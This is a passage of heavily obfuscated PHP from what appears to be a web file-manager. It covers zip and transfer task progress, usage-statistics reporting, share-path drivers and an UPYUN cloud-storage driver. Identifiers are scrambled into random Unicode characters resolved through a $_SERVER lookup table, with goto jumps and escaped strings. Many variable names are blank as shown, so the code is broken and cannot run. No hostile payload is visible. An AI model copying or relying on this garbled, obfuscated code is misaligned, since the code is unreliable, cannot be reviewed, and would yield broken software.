$ɲ * (1 - $[$Ϊ[1680]]) / $[$Ϊ[1680]]; } } public function addFile($⿹) { $۴ =& $_SERVER[ﻻ]; $ =& $this->task; $˫ = IO::info($⿹); $[$۴[1729]] = $˫[$۴[32]]; $[$۴[1731]] = $˫[$۴[76]]; $[$۴[1732]] = 0; $[$۴[1074]] = $۴[1752]; $[$۴[1733]] = $۴[1204]; $[$۴[776]] = $˫[$۴[76]]; $[$۴[799]] = 1; $ = 0; $[$۴[1740]] = array($۴[1741] => $ + 1, $۴[429] => $˫[$۴[32]], $۴[84] => $˫[$۴[84]], $۴[518] => $˫[$۴[518]] ? $˫[$۴[518]] : $˫[$۴[84]]); $this->update(); } public function unzipAfter($) { $ۿ =& $_SERVER[ﻻ]; $Ἇ =& $this->task; $Ἇ[$ۿ[1791]] = $ۿ[107]; $ = IO::infoWithChildren($); $Ɣң = 0; $Ἇ[$ۿ[1740]] = array($ۿ[1741] => $Ɣң + 1, $ۿ[429] => $[$ۿ[32]], $ۿ[84] => $[$ۿ[84]], $ۿ[518] => $[$ۿ[518]] ? $[$ۿ[518]] : $[$ۿ[84]]); if ($[$ۿ[33]] == $ۿ[200]) { $Ἇ[$ۿ[799]] = 1; } else { $Ἇ[$ۿ[799]] = $[$ۿ[79]][$ۿ[77]]; } $Ἇ[$ۿ[1074]] = $ۿ[12]; $Ἇ[$ۿ[1733]] = 0; $Ἇ[$ۿ[1679]] = 0; $Ἇ[$ۿ[1731]] = 0; $Ἇ[$ۿ[1732]] = 0; $Ἇ[$ۿ[1729]] = $ۿ[12]; $Ἇ[$ۿ[1736]] = 0; $Ἇ[$ۿ[776]] = $[$ۿ[76]]; $this->update(); self::log($ۿ[1793] . json_encode(array($Ἇ, $))); } public function nameParse($) { $ =& $_SERVER[ﻻ]; $ȱ =& $this->task; if ($ȱ[$[1791]] == $[1204]) { $ȱ[$[1791]] = $[313]; $ȱ[$[1736]] = 0; $ȱ[$[776]] = 0; } $ = get_path_this($); if (strstr($, $[10])) { $ȱ[$[1679]] += 1; $ȱ[$[799]] += 1; } $ȱ[$[1729]] = $; $this->update(); } } class TaskZip extends TaskFileTransfer { protected function startAfter() { $̩ =& $_SERVER[ﻻ]; parent::startAfter(); Hook::bind($̩[1794], array($this, $̩[1789])); $ů߉ =& $this->task; $ů߉[$̩[1791]] = $̩[1204]; if (!$ů߉[$̩[1576]]) { $ů߉[$̩[1576]] = LNG($̩[1795]); } } protected function endAfter() { $ʞ =& $_SERVER[ﻻ]; parent::endAfter(); Hook::unbind($ʞ[1794], array($this, $ʞ[1789])); } public function updateAfter() { $҉ҿ =& $_SERVER[ﻻ]; $ێ =& $this->task; if (!$ێ[$҉ҿ[799]] || !$ێ[$҉ҿ[776]]) { return; } if ($ێ[$҉ҿ[1791]] == $҉ҿ[1204]) { $ = $ێ[$҉ҿ[1732]]; if ($ێ[$҉ҿ[1733]] != $҉ҿ[1204]) { $ = 0; } $ζ = ($ێ[$҉ҿ[1736]] + $) / $ێ[$҉ҿ[776]]; $ێ[$҉ҿ[1680]] = $ζ * 0.3; } else { if ($ێ[$҉ҿ[1791]] == $҉ҿ[313]) { $ζ = $ێ[$҉ҿ[1679]] / $ێ[$҉ҿ[799]]; $ێ[$҉ҿ[1680]] = 0.3 + $ζ * 0.5; } else { if ($ێ[$҉ҿ[1791]] == $҉ҿ[107]) { $ζ = 0; if ($ێ[$҉ҿ[1731]]) { $ζ = $ێ[$҉ҿ[1732]] / $ێ[$҉ҿ[1731]]; } $ێ[$҉ҿ[1680]] = 0.3 + 0.5 + $ζ * 0.2; } } } if ($ێ[$҉ҿ[1680]] > 0) { $ϙ = timeFloat() - $ێ[$҉ҿ[1682]] - $ێ[$҉ҿ[1685]]; $ێ[$҉ҿ[1686]] = $ϙ * (1 - $ێ[$҉ҿ[1680]]) / $ێ[$҉ҿ[1680]]; } } public function copyFileStart($뎅, $, $, $, $֨, $͋ڶ) { $ =& $_SERVER[ﻻ]; parent::copyFileStart($뎅, $, $, $, $֨, $͋ڶ); $ȭ =& $this->task; if ($ȭ[$[1791]] == $[313]) { $ȭ[$[1791]] = $[107]; } $this->update(); } public function copyFileEnd($ǀ, $, $, $, $ѳ, $) { $ =& $_SERVER[ﻻ]; $ۻ =& $this->task; $ۻ[$[1732]] = $ۻ[$[1731]]; $ۻ[$[1736]] += $ۻ[$[1731]]; $ۻ[$[1733]] = $[12]; $this->update(); } public function nameParse($أ) { $ =& $_SERVER[ﻻ]; $ =& $this->task; if ($[$[1679]] < $[$[799]]) { $ޖ = get_path_this($أ); if (strstr($ޖ, $[10])) { $[$[1679]] += 1; } } if ($[$[1791]] == $[1204]) { $[$[1791]] = $[313]; } $[$[1729]] = $أ; $this->update(); } } class AnalysisModel extends ModelBaseLight { public function init($Ȏ) { $ =& $_SERVER[ﻻ]; $ъ = array($[599] => array($[33] => $[1796], $[273] => array($[224], $[778], $[1797], $[1798])), $[1799] => array($[33] => $[1800], $[273] => array($[224], $[776], $[1801], $[1802], $[1803]))); if (!isset($ъ[$Ȏ])) { return !1; } $this->optionType = $ъ[$Ȏ][$[33]]; $this->field = $ъ[$Ȏ][$[273]]; return !0; } public function listData($̚ČЇ = false, $Ҋƿ = "\155\x6f\144\151\146\171\124\151\155\145", $͗ = false) { return parent::listData($̚ČЇ, $Ҋƿ, $͗); } public function trendList($) { $Џ =& $_SERVER[ﻻ]; $ = $this->listData(); if ($) { $߇ = end($); $ = date($Џ[1804], strtotime($Џ[1805])); if ($߇[$Џ[224]] == $) { return $; } $ = strtotime($߇[$Џ[224]]); } if (!isset($)) { $ = $ == $Џ[599] ? $Џ[534] : $Џ[838]; $ = Model($)->min($Џ[201]); } $ح = $Џ[1806] . ucfirst($); $Ёش = $this->dateList($); foreach ($Ёش as $) { $this->{$ح}($); } return $this->listData(); } private function dateList($ܰ) { $ѵ =& $_SERVER[ﻻ]; $ʔߔ = $ܰ; $ = strtotime($ѵ[1805]); $س = array(); while ($ʔߔ <= $) { $س[] = date($ѵ[1804], $ʔߔ); $ʔߔ = strtotime($ѵ[1807], $ʔߔ); } return $س; } public function _recordUser($ = '') { $ׅ =& $_SERVER[ﻻ]; $ = strtotime(date($ׅ[1808], strtotime($))); $ = strtotime(date($ׅ[1809], strtotime($))); $Ϟ = array($ׅ[201] => array($ׅ[1023], $)); $ަ = Model($ׅ[534])->where($Ϟ)->count($ׅ[1678]); $Ϟ[$ׅ[201]] = array($ׅ[333], array($, $)); $ = Model($ׅ[534])->where($Ϟ)->count($ׅ[1678]); $Ϟ[$ׅ[33]] = $ׅ[1810]; $ = Model($ׅ[1811])->where($Ϟ)->count($ׅ[1812]); $Ș = array($ׅ[224] => $, $ׅ[778] => (int) $ަ, $ׅ[1797] => (int) $, $ׅ[1798] => (int) $); return $this->insert($Ș); } public function _recordStore($ = '') { $ =& $_SERVER[ﻻ]; $ = strtotime(date($[1809], strtotime($))); $Ξѡ = array($[201] => array($[1023], $)); $߆ = Model($[480])->where($Ξѡ)->sum($[76]); $Ξѡ[$[419]] = 0; $כ = Model($[838])->where($Ξѡ)->sum($[76]); $Ξѡ[$[420]] = 1; $ = Model($[838])->where($Ξѡ)->sum($[76]); $Ξѡ[$[420]] = 2; $杵ʍ = Model($[838])->where($Ξѡ)->sum($[76]); $ڿ = array($[224] => $, $[776] => (int) $כ, $[1801] => (int) $߆, $[1802] => (int) $, $[1803] => (int) $杵ʍ); return $this->insert($ڿ); } public function trend($Ü،, $) { $ޱ =& $_SERVER[ﻻ]; if (!$this->init($Ü،)) { return !1; } $隱 = $this->trendList($Ü،); if ($隱 && $ != $ޱ[1651]) { $ɷ = $隱[0][$ޱ[224]]; $շ = $this->validDate($, $ɷ); $ = array(); $ˇ = array_to_keyvalue($隱, $ޱ[224]); foreach ($շ as $) { if (isset($ˇ[$])) { $眨 = $ˇ[$]; } else { $眨 = end($隱); $眨[$ޱ[224]] = $; if ($Ü، == $ޱ[599]) { $眨[$ޱ[1797]] = $眨[$ޱ[1798]] = 0; } } $[] = $眨; } $隱 = $; } $⺵ = array($ޱ[599] => array($ޱ[778] => LNG($ޱ[1813]), $ޱ[1797] => LNG($ޱ[1814]), $ޱ[1798] => LNG($ޱ[1815])), $ޱ[1799] => array($ޱ[776] => LNG($ޱ[1816]), $ޱ[1801] => LNG($ޱ[1817]), $ޱ[1802] => LNG($ޱ[1818]), $ޱ[1803] => LNG($ޱ[1819]))); $唇 = array($ޱ[599] => $ޱ[1820], $ޱ[1799] => $ޱ[76]); if (empty($隱)) { $ = date($ޱ[1804], strtotime($ޱ[1805])); $ = array($ޱ[224] => $); foreach ($⺵[$Ü،] as $ => $) { $[$] = 0; } $隱[] = $; } $܁ = array(); foreach ($隱 as $) { if ($Ü، == $ޱ[1799] && $[$ޱ[1801]] > $[$ޱ[776]]) { $[$ޱ[1801]] = $[$ޱ[776]]; } foreach ($⺵[$Ü،] as $ => $) { $眨 = array($ޱ[224] => $[$ޱ[224]], $ޱ[1576] => $); $眨[$唇[$Ü،]] = isset($[$]) ? $[$] : 0; $܁[] = $眨; } } return $܁; } public function validDate($ÓӍ, $ɮ) { $ =& $_SERVER[ﻻ]; $ = date($[1804], strtotime($[1805])); $² = array($); switch ($ÓӍ) { case $[1658]: $ڦ۞ = mktime(0, 0, 0, date($[1821]), date($[1397]) - date($[1460]) + 7 - 7, date($[1822])); $볐 = 0; do { $ = date($[1804], $ڦ۞ - 3600 * 24 * 7 * $볐); $²[] = $; $볐++; } while ($ɮ < $); break; case $[1656]: $볐 = 1; do { $Ψ = date($[1823], strtotime("\55\x20{$볐}\x20\155\157\156\164\150\163")); $²[] = $Ψ; $볐++; } while ($ɮ < $Ψ); break; case $[1824]: $ = (int) date($[1822], strtotime($ɮ)); $ = (int) date($[1822]); if ($ >= $) { break; } for ($; $ < $; $++) { $²[] = $ . $[1825]; } break; default: break; } if ($ɮ > end($²)) { array_pop($²); } sort($²); return $²; } public function listTable($ӜڬӅ) { $Є = ucfirst($ӜڬӅ); return Model($Є)->listData(); } public function option($ƿ) { $֓ = $_SERVER[ﻻ][1826] . ucfirst($ƿ); return $this->{$֓}(); } private function optionUser() { $ =& $_SERVER[ﻻ]; $ = Model($[534])->count($[1678]); $Ϋ = Model($[534])->where($[1827])->count($[1678]); $Ӈ = intval($GLOBALS[$[6]][$[349]][$[1633]]) / 3600; $Թ = strtotime("\55{$Ӈ}\x20\150\x6f\165\162\x73"); $ԥ = strtotime(date($[1808])); if ($Թ < $ԥ) { $Թ = $ԥ; } $ = array($[1828] => array($[1024], $Թ)); $ʩָ = (int) Model($[534])->where($)->count($[1678]); if (!$ʩָ) { $ʩָ = 1; } $ = array($[1828] => array($[1024], $ԥ)); $б = Model($[534])->where($)->count($[1678]); return array($[771] => (int) $, $[1829] => (int) ($ - $Ϋ), $[1830] => (int) $Ϋ, $[1831] => (int) $б, $[1832] => $ʩָ); } private function optionFile() { $ =& $_SERVER[ﻻ]; $ױ = $this->sourceSize(); $ = $ױ[$[76]]; $ = $ױ[$[1801]]; $ = Model($[838])->where(array($[419] => 0))->count($[411]); $Щ = array($[419] => 0, $[201] => array($[1024], strtotime(date($[1808])))); $ = Model($[838])->where($Щ)->sum($[76]); $ɞ = Model($[838])->where($Щ)->count($[411]); return array($[776] => $, $[1801] => $, $[1833] => $ - $, $[1834] => (int) $, $[778] => (int) $, $[1835] => (int) $ɞ); } private function optionAccess() { $ε =& $_SERVER[ﻻ]; return array($ε[771] => $this->typeLogCnt(), $ε[107] => $this->typeLogCnt($ε[107]), $ε[461] => $this->typeLogCnt($ε[461]), $ε[1836] => $this->typeLogCnt($ε[1836]), $ε[1837] => $this->typeLogCnt($ε[1837]), $ε[599] => $this->typeLogCnt($ε[12], $ε[1812])); } private function typeLogCnt($ = '', $ = "\151\144") { $ꃰ =& $_SERVER[ﻻ]; $ = array($ꃰ[107] => array($ꃰ[1838], $ꃰ[1839]), $ꃰ[461] => array($ꃰ[1840], $ꃰ[1841]), $ꃰ[1836] => array($ꃰ[1842], $ꃰ[1843], $ꃰ[1844]), $ꃰ[1837] => array($ꃰ[1845], $ꃰ[1846]), $ꃰ[1847] => array($ꃰ[1848], $ꃰ[1849], $ꃰ[1850])); $вɟ = strtotime(date($ꃰ[1808])); $ = array($ꃰ[201] => array($ꃰ[1024], $вɟ)); if ($) { $[$ꃰ[33]] = array($ꃰ[7], $[$]); } $ = Model($ꃰ[1811])->where($)->count($); return (int) $; } private function optionServer() { $젃 =& $_SERVER[ﻻ]; $ = $this->diskDriver(); $͗ = KodIO::defaultDriver(); $䉹 = array($젃[830] => $͗[$젃[399]]); $Ø = Model($젃[480])->where($䉹)->sum($젃[76]); $ = explode($젃[53], $_SERVER[$젃[143]]); $ = $[0]; $ņ晎 = $GLOBALS[$젃[6]][$젃[21]]; $ = $ņ晎[$젃[986]]; if ($ == $젃[974]) { $ = explode($젃[1289], $ņ晎[$젃[985]]); $ = $[0]; } if ($ == $젃[922] || $ == $젃[817]) { $І = Model()->db()->query($젃[1851]); $۞ = $І[0] && isset($І[0][$젃[1575]]) ? $І[0][$젃[1575]] : 0; $ = $젃[1852] . ($۞ ? $젃[8] . $۞ : $젃[12]); } $ = $GLOBALS[$젃[6]][$젃[349]][$젃[840]]; return array($젃[1853] => $ ? $[$젃[1854]] : 0, $젃[1855] => $ ? $[$젃[1856]] : 0, $젃[1857] => (int) $͗[$젃[1854]] * 1024 * 1024 * 1024, $젃[1858] => (int) $Ø, $젃[1859] => ucfirst($), $젃[1860] => $젃[1861] . PHP_VERSION, $젃[1862] => phpBuild64() ? 64 : 32, $젃[770] => str_replace($젃[1140], $젃[1002], $), $젃[349] => ucfirst($), $젃[32] => $_SERVER[$젃[1863]]); } private function diskDriver() { $Ш =& $_SERVER[ﻻ]; $ = $Ш[8]; $Ӭ㭶 = $GLOBALS[$Ш[6]][$Ш[1306]] == $Ш[1307]; if ($Ӭ㭶) { $ = $Ш[1864]; if (function_exists($Ш[1865])) { exec($Ш[1866], $ț); $ = $ț[1] . $Ш[8]; } } if (!file_exists($)) { return; } $ = @disk_total_space($); $ = $ - @disk_free_space($); return array($Ш[1854] => $, $Ш[1856] => $); } public function fileChart($ݳ˗) { $֨ =& $_SERVER[ﻻ]; if (isset($ݳ˗[$֨[1678]])) { return Model($֨[838])->userFileTypeProfile($ݳ˗[$֨[1678]]); } if (isset($ݳ˗[$֨[1867]])) { return Model($֨[838])->groupFileTypeProfile($ݳ˗[$֨[1867]]); } $ԏ = $this->sourceSize(); $Ռ = array($֨[441] => 0, $֨[420] => 1); $֘ = Model($֨[838])->where($Ռ)->sum($֨[76]); $Ռ[$֨[420]] = 2; $ = Model($֨[838])->where($Ռ)->sum($֨[76]); return array($֨[776] => $ԏ[$֨[76]], $֨[1801] => $ԏ[$֨[1801]], $֨[1802] => (int) $֘, $֨[1803] => (int) $); } private function sourceSize() { $ڣ =& $_SERVER[ﻻ]; $㒭 = Model($ڣ[838])->where(array($ڣ[419] => 0))->sum($ڣ[76]); $׆ = Model($ڣ[480])->sum($ڣ[76]); if ($׆ > $㒭) { $׆ = $㒭; } return array($ڣ[76] => (int) $㒭, $ڣ[1801] => (int) $׆); } } goto e; f: class PathDriverDbShareItem extends PathDriverDB { public function __construct($ڿ) { $this->pathParse = $ڿ; $this->model = Model($_SERVER[ﻻ][1349]); } public function getPathOuter($) { $ئ =& $_SERVER[ﻻ]; if (!$) { return $; } $г = $this->parse($); return trim(KodIO::makeShare($this->pathParse[$ئ[399]], $г[$ئ[399]]), $ئ[8]); } protected function infoParse($ޖ, $ = false, $Ȁ˛ = false) { $ѿ٧ =& $_SERVER[ﻻ]; $ = $this->pathParse[$ѿ٧[399]]; $ = trim($this->pathParse[$ѿ٧[1178]], $ѿ٧[8]); return Action($ѿ٧[1357])->sharePathInfo($, $, $); } public function infoFull($) { $ =& $_SERVER[ﻻ]; $ = explode($[8], trim($, $[8])); if (count($) > 1) { $ΐƒ = implode($[8], array_splice($, 1)); $蛒 = $this->model->pathInfoByPath($[0], $ΐƒ); if (!$蛒) { return !1; } $this->pathParse[$[1178]] = $蛒[$[411]]; } return $this->infoParse($); } public function listAll($Հ) { $ =& $_SERVER[ﻻ]; $ = IO::info($this->pathParse[$[84]]); if (!$) { return array(); } $ = $this->model->listAll($Հ); $ = Model($[601])->getInfo($[$[602]]); foreach ($ as &$) { check_abort(); $[$[87]] = Action($[1357])->_shareItemeParse($[$[87]], $); } unset($); return $; } } class PathDriverDbShareLink extends PathDriverDB { public function __construct($) { $this->pathParse = $; $this->model = Model($_SERVER[ﻻ][1349]); } protected function infoParse($Ǖ, $ = false, $ע = false) { $ =& $_SERVER[ﻻ]; return Action($[1184])->sharePathInfo($this->pathParse[$[84]], !0, $); } public function listPath($, $Βܕ = false) { $с =& $_SERVER[ﻻ]; $ = parent::listPath($, $Βܕ); if (!$) { return $; } if (is_array($[$с[1358]])) { $[$с[1358]] = Action($с[1184])->shareItemInfo($[$с[1358]]); } foreach ($ as $ => $˷) { if (!in_array($, array($с[83], $с[82]))) { continue; } foreach ($˷ as $˂ => $) { $[$][$˂] = Action($с[1184])->shareItemInfo($); } } return $; } public function listAll($) { $ =& $_SERVER[ﻻ]; $ = IO::info($this->pathParse[$[84]]); if (!$) { return array(); } $ = $this->model->listAll($); foreach ($ as &$) { $[$[87]] = Action($[1184])->shareItemInfo($[$[87]]); } unset($); return $; } } class PathDriverDriverShareItem { public function __construct($ҽ) { $this->pathParse = $ҽ; } public function __call($ʹ, $ߗ) { $ɻ =& $_SERVER[ﻻ]; if (method_exists($this, $ʹ)) { return; } $ = call_user_func_array(array($ɻ[1359], $ʹ), $ߗ); $Ŧ = array($ɻ[1360], $ɻ[1361], $ɻ[1362], $ɻ[1363], $ɻ[555], $ɻ[557], $ɻ[1364], $ɻ[107], $ɻ[1365], $ɻ[1366]); if (in_array($ʹ, $Ŧ)) { $ = $this->getPathOuter($); } return $; } public function copy($, $맱, $ה = false, $؞ = false) { return $this->copyMove($, $맱, $ה, $_SERVER[ﻻ][555], $؞); } public function move($Ґ, $ȀО, $ћ = false, $ҕʾ = false) { return $this->copyMove($Ґ, $ȀО, $ћ, $_SERVER[ﻻ][557], $ҕʾ); } private function copyMove($, $声, $ჷ, $, $ = false) { $ȹ =& $_SERVER[ﻻ]; $ = $声; $ = IO::driverMake($声); if ($->pathParse[$ȹ[1161]]) { $声 = $->pathParse[$ȹ[1161]]; } else { $声 = $; } $˅ = IO::copyMove($, $声, $ჷ, $, $); $˅ = $this->getPathOuter($˅); return $˅; } public function pathThis($) { return get_path_this($this->pathParse[$_SERVER[ﻻ][84]]); } public function pathFather($ӣ) { return get_path_father($this->pathParse[$_SERVER[ﻻ][84]]); } public function iconvSystem($ݸ) { return $ݸ; } protected function infoParse($, $֨ = false) { $⨙ =& $_SERVER[ﻻ]; $ = $this->pathParse[$⨙[495]][$⨙[1185]] . $this->pathParse[$⨙[1178]]; if ($֨) { $糧 = IO::infoWithChildren($); } else { $糧 = IO::info($); } $ę = $this->pathParse[$⨙[495]]; return Action($⨙[1357])->_shareItemeParse($糧, $ę); } public function listAll($Ǭ) { $Σȝ =& $_SERVER[ﻻ]; $Ŭ = IO::listAll($Ǭ); $ӕ = rtrim($this->pathParse[$Σȝ[495]][$Σȝ[1185]], $Σȝ[8]); foreach ($Ŭ as &$ዅ) { $ዅ[$Σȝ[84]] = $this->pathDriver . $Σȝ[8] . ltrim(substr($ዅ[$Σȝ[84]], strlen($ӕ)), $Σȝ[8]); } unset($ዅ); return $Ŭ; } public function listAllSimple($ڶ, $ = false) { $ջ =& $_SERVER[ﻻ]; $Ä = $this->listAll($ڶ); $ = $this->pathParse[$ջ[430]]; if (trim($, $ջ[8]) == trim(get_path_father($), $ջ[8])) { $ = !0; } return IO::init($ջ[12])->listAllSimpleMake($Ä, $, $); } public function getPathOuter($) { $ϋ =& $_SERVER[ﻻ]; $ = KodIO::parse($); if ($[$ϋ[33]] == KodIO::KOD_SHARE_ITEM) { return $[$ϋ[84]]; } $ٍ = KodIO::clear($); $ý = KodIO::clear($this->pathParse[$ϋ[495]][$ϋ[1185]]); $ܺ = substr($ٍ, strlen($ý)); if (substr($ٍ, 0, strlen($ý)) != $ý) { return !1; } return $this->pathParse[$ϋ[1179]] . $ϋ[8] . ltrim($ܺ, $ϋ[8]); } public function getType() { $ѯޥ =& $_SERVER[ﻻ]; $ = str_replace($ѯޥ[74], $ѯޥ[12], get_class($this)); return strtolower($); } public function isTypeObject($) { return IO::isTypeObject($); } public function info($) { return $this->infoParse($); } public function infoAuth($) { return $this->infoParse($); } public function infoWithChildren($ֳ) { return $this->infoParse($ֳ, !0); } public function infoFull($) { return $this->infoParse($); } } goto E; AŬ: class PathDriverStream extends PathDriverBase { const TYPE_STRING = 1; const TYPE_FILE = 2; public function __construct($, $ = 0) { parent::__construct(); $this->source = $; $this->sourceSize = $; if (is_string($this->source)) { $this->sourceType = self::TYPE_STRING; $this->sourceSize = strlen($this->source); } else { $this->sourceType = self::TYPE_FILE; } } public function size($ = false) { return $this->sourceSize; } public function getContent($ҳٔ = false) { return $this->fileSubstr($ҳٔ, 0, $this->sourceSize); } public function fileSubstr($۶心 = false, $ = 0, $ = 0) { if (!$) { $ = $this->sourceSize; } $ؒ = $this->sourceSize - $; if ($ >= $ؒ) { $ = $ؒ; } if ($this->sourceType == self::TYPE_STRING) { return substr($this->source, $, $); } if ($this->sourceType == self::TYPE_FILE) { if ($ <= 0) { return $_SERVER[ﻻ][12]; } $珴 = ftell($this->source); fseek_64($this->source, $珴 + $); $ʚ = @fread($this->source, $); fseek_64($this->source, $珴); return $ʚ; } } public function hashMd5($澚 = false) { return md5($this->getContent()); } public static function hash($, $ך = 0) { $ݴ = new PathDriverStream($, $ך); return $ݴ->hashSimple($); } public static function md5($, $Ȕ = 0) { $ = new PathDriverStream($, $Ȕ); return $->hashMd5($); } } class PathDriverUSS extends PathDriverBase { protected $bucket = ''; protected $username = ''; protected $userpass = ''; protected $domain = ''; protected $token = ''; protected $endpoint = "\150\x74\164\160\x3a\57\57\166\60\56\141\x70\151\x2e\x75\x70\x79\165\x6e\56\143\x6f\155"; public $ioUploadServer = 0; public $ioFileOutServer = 0; public function __construct($܁) { parent::__construct(); $this->_init($܁); } public function _init($) { $ =& $_SERVER[ﻻ]; foreach ($ as $ => $) { if (isset($this->{$})) { $this->{$} = $; } } if (empty($this->username) || empty($this->userpass) || empty($this->domain)) { throw new Exception($[1475] . LNG($[1406])); } } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } private function ussHeaders($, $ʳ = "\x47\x45\124") { $ =& $_SERVER[ﻻ]; $ū = gmdate($[1439]); $ = base64_encode(hash_hmac($[1476], "{$ʳ}\46{$}\46{$ū}", md5("{$this->userpass}"), !0)); $ = array("\x41\x75\x74\x68\157\x72\151\172\141\164\151\x6f\156\x3a\x55\x50\x59\x55\116\x20{$this->username}\x3a{$}", "\104\141\164\145\x3a{$ū}"); return $; } public function ussRequest($͛, $ = "\x47\x45\x54", $§Ձ = false, $̢ = false, $ۧƬ = false) { $и =& $_SERVER[ﻻ]; $͛ = trim($͛, $и[8]); $Ҡ = "\x2f{$this->bucket}\x2f{$͛}"; $ = $this->ussHeaders($Ҡ, $); if ($̢) { $ = array_merge($, $̢); } $鮾 = url_request($this->endpoint . $Ҡ, $, $§Ձ, $, $ۧƬ); if (!$鮾) { return array($и[1222] => !1, $и[1212] => $и[1477]); } if (strtolower($) == $и[197] || in_array($鮾[$и[1222]], array($и[1332], $и[1478]))) { $§Ձ = $鮾[$и[1479]]; } else { $§Ձ = json_decode($鮾[$и[1212]], !0); if (!$§Ձ) { $§Ձ = $鮾[$и[1212]]; } else { if (!$鮾[$и[762]] && isset($§Ձ[$и[1480]])) { $§Ձ = $§Ձ[$и[1480]]; } } } return array($и[1222] => $鮾[$и[762]], $и[1212] => $§Ձ); } public function mkfile($ө, $ = '', $δ = REPEAT_RENAME) { if ($this->setContent($ө, $)) { return $this->getPathOuter($ө); } return !1; } public function mkdir($͍, $ޱ = REPEAT_SKIP) { $ =& $_SERVER[ﻻ]; $ = trim($͍, $[8]); if ($this->_isFolder($)) { return $this->getPathOuter($); } $عȉ = array($[1481]); $ݚ = $this->ussRequest($, $[226], !1, $عȉ); return $ݚ[$[1222]] ? $this->getPathOuter($) : !1; } public function copyFile($, $) { $ =& $_SERVER[ﻻ]; $̯ = array($[1482] . "\57{$this->bucket}\57{$}", $[1483]); $ = $this->ussRequest($, $[228], !1, $̯); return $[$[1222]] ? !0 : $this->getPathOuter($); } public function moveFile($痃, $һ) { $ۀ =& $_SERVER[ﻻ]; $Ռ = array($ۀ[1484] . "\57{$this->bucket}\x2f{$痃}", $ۀ[1483]); $ӗɀ = $this->ussRequest($һ, $ۀ[228], !1, $Ռ); return $ӗɀ[$ۀ[1222]] ? !0 : $this->getPathOuter($һ); } public function delFile($) { $൞ =& $_SERVER[ﻻ]; $˘ = $this->ussRequest($, $൞[1485]); return $˘[$൞[1222]] ? !0 : !1; } public function delFolder($ޚ) { $̱ɂ =& $_SERVER[ﻻ]; if (!$this->exist($ޚ)) { return !0; } $this->listItemCache = !1; $ = $謠 = array(); $this->fileList($ޚ, $, $謠, !0); $this->listItemCache = !0; foreach ($謠 as $瑠) { $ؒ = $this->ussRequest($瑠[$̱ɂ[32]], $̱ɂ[1485]); if (!$ؒ[$̱ɂ[1222]]) { return !1; } } foreach ($ as $ڇ) { $ؒ = $this->ussRequest($ڇ, $̱ɂ[1485]); if (!$ؒ[$̱ɂ[1222]]) { return !1; } } $ؒ = $this->ussRequest($ޚ, $̱ɂ[1485]); return $ؒ[$̱ɂ[1222]]; } public function rename($Ͽ, $ש) { if ($this->isFile($Ͽ)) { $ש = get_path_father($Ͽ) . $ש; return $this->moveFile($Ͽ, $ש); } return $this->renameObject($Ͽ, $ש); } public function fileInfo($ȥ, $Ѕ = false, $DŽ = array()) { $ѿ =& $_SERVER[ﻻ]; $ = array($ѿ[32] => $this->pathThis($ȥ), $ѿ[84] => $this->getPathOuter($ѿ[8] . $ȥ), $ѿ[33] => $ѿ[200], $ѿ[76] => isset($DŽ[$ѿ[76]]) ? $DŽ[$ѿ[76]] : 0, $ѿ[174] => $this->ext($ȥ)); if ($Ѕ) { return $; } $[$ѿ[201]] = $[$ѿ[85]] = 0; $[$ѿ[202]] = $[$ѿ[203]] = !0; if (empty($DŽ)) { $DŽ = $this->objectMeta($ȥ); if (!$DŽ) { return $; } } $[$ѿ[201]] = intval($DŽ[$ѿ[1486]]); $[$ѿ[85]] = intval($DŽ[$ѿ[1487]]); $[$ѿ[76]] = $DŽ[$ѿ[76]]; return $; } public function folderInfo($, $䙀 = false) { $Է =& $_SERVER[ﻻ]; $گ = array($Է[32] => $this->pathThis($), $Է[84] => $this->getPathOuter($Է[8] . $), $Է[33] => $Է[75]); if ($䙀) { return $گ; } $گ[$Է[201]] = $گ[$Է[85]] = 0; $گ[$Է[202]] = $گ[$Է[203]] = !0; if (empty($ʻ)) { $ʻ = $this->objectMeta($); if (!$ʻ) { return $گ; } } $گ[$Է[201]] = intval($ʻ[$Է[1486]]); $گ[$Է[85]] = intval($ʻ[$Է[1487]]); return $گ; } private function listObjs($ַ, $ = 0, $㥗 = 1000) { $ =& $_SERVER[ﻻ]; $ƃ숰 = array($[1488], $[1489] . $㥗); if ($) { $ƃ숰[] = $[1490] . $; } $Ð = $this->ussRequest($ַ, $[230], !1, $ƃ숰); return !$Ð[$[1222]] ? !1 : $Ð[$[1212]]; } private function fileList($Ҍޔ, &$, &$̻, $ = false) { $ߵ =& $_SERVER[ﻻ]; $ = $ߵ[12]; $¡例 = 1000; $ = rtrim($Ҍޔ, $ߵ[8]) . $ߵ[8]; while (!0) { check_abort(); $ړ = $this->listObjs($Ҍޔ, $, $¡例); if (!$ړ) { return !1; } $ = isset($ړ[$ߵ[1491]]) ? $ړ[$ߵ[1491]] : $ߵ[12]; $炔 = isset($ړ[$ߵ[1492]]) ? $ړ[$ߵ[1492]] : array(); foreach ($炔 as $) { $瑕߮ = $[$ߵ[33]] == $ߵ[75] ? !0 : !1; $˛ = ltrim($ . $[$ߵ[32]], $ߵ[8]) . ($瑕߮ ? $ߵ[8] : $ߵ[12]); $ = array($ߵ[32] => $˛, $ߵ[33] => $瑕߮ ? $ߵ[75] : $ߵ[200], $ߵ[76] => $[$ߵ[337]], $ߵ[1487] => $[$ߵ[1493]]); $this->cacheMethodInfoSet($˛, $瑕߮, $); if ($瑕߮) { $[] = $˛; if ($) { $this->fileList($˛, $, $̻, $); } continue; } $̻[] = $; } if (count($炔) < $¡例) { break; } } $this->cacheMethodInfoSet($Ҍޔ, !0); } public function listPath($, $˪ = false) { $ =& $_SERVER[ﻻ]; $ = $ = array(); $this->fileList($, $, $); foreach ($ as $Ἳ => $ƌ) { $[$Ἳ] = $this->folderInfo($ƌ, $˪); } foreach ($ as $Ἳ => $ƌ) { $[$Ἳ] = $this->fileInfo($ƌ[$[32]], $˪, $ƌ); } return array($[82] => $, $[83] => $); } public function has($ءͷ, $Ǐힹ = false, $혴 = true) { $ʞ =& $_SERVER[ﻻ]; $К = $ʞ[12]; $Lj = 500; $ = 0; $ = 0; $⭋ѹ = rtrim($ءͷ, $ʞ[8]) . $ʞ[8]; while (!0) { check_abort(); $ = $this->listObjs($ءͷ, $К, $Lj); if (!$) { return !1; } $К = isset($[$ʞ[1491]]) ? $[$ʞ[1491]] : $ʞ[12]; $ = isset($[$ʞ[1492]]) ? $[$ʞ[1492]] : array(); if (empty($)) { break; } $ = array_filter($, function ($) { $Ҙ =& $_SERVER[ﻻ]; return $[$Ҙ[33]] == $Ҙ[75]; }); $ = 